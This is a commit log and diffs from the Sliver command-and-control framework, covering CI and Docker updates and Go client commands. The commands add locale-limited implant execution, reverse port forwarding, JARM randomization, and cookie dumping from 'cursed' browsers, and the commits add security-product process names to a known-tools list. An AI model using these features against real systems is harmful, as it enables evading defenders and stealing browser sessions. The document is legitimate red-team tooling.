2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
James Golovich 18871a8521 Add generated protobuf code 2022-09-07 23:45:53 -07:00
James Golovich ca3377799b Add Locale to protobuf definitions 2022-09-07 23:45:09 -07:00
James Golovich be477918d2 Add locale to implants Sessions and Beacons 2022-09-07 23:44:18 -07:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
rkervella 8ceaff528b Update garble 2022-09-07 11:04:36 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
rkervella a5b4e5310f Update garble 2022-09-06 15:48:17 -07:00
rkervella 3b3987d19f Update supported minor version 2022-09-06 12:23:26 -07:00
rkervella 6072affe38 Update to go1.19.1 2022-09-06 12:20:21 -07:00
rkervella 555e1d1123 Update Dockerfile and assets 2022-09-06 12:17:10 -07:00
rkervella e7524d28d0 Implant vendor 2022-09-06 12:09:48 -07:00
rkervella 68515f0873 Update vendor 2022-09-06 12:09:28 -07:00
rkervella 8b55dca890 go1.19 2022-09-06 12:09:19 -07:00
rkervella d7d946f17a Merge branch 'master' into feature/ssh-kerberos 2022-08-04 12:27:39 -07:00
rkervella c4555a124a Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:25:39 -07:00
rkervella 65a44da85f Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:24:37 -07:00
rkervella 6b0d6b2784 Merge branch 'master' into feature/ssh-kerberos 2022-06-20 18:53:18 -07:00
rkervella 4b1991ad5d Add kerberos support for SSH client 2022-06-20 15:14:40 -07:00
1863 changed files with 485698 additions and 29928 deletions

No files matched your search

+106 -111
View File
@@ -6,57 +6,55 @@ on:
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '1.18.6'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -108,53 +104,52 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.18.6"
go-version: "1.19.1"
- name: Checkout repository
uses: actions/checkout@v3
+42 -45
View File
@@ -1,7 +1,7 @@
name: Build & Test
on:
push:
branches:
branches:
- test/*
pull_request:
branches:
@@ -13,70 +13,67 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '1.18.6'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make macos
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+4 -5
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.6
FROM golang:1.19.2
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,11 +52,10 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+9 -38
View File
@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -141,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,8 +156,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
} else {
rowEntries = []string{
@@ -196,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
+121 -24
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same paramenter,
* Try to reuse the same short/long flags for the same parameter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -66,6 +66,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -456,6 +457,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -482,6 +484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -517,7 +520,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -900,6 +902,9 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1203,6 +1208,8 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1292,6 +1299,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
f.String("r", "kerberos-realm", "", "Kerberos realm")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1340,6 +1350,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1397,6 +1408,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1549,6 +1561,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1612,6 +1625,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -2529,6 +2543,59 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3365,7 +3432,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -3382,14 +3449,19 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
@@ -3403,17 +3475,60 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
@@ -3436,23 +3551,5 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+11 -1
View File
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
@@ -185,6 +185,16 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
+51 -3
View File
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, target, con)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
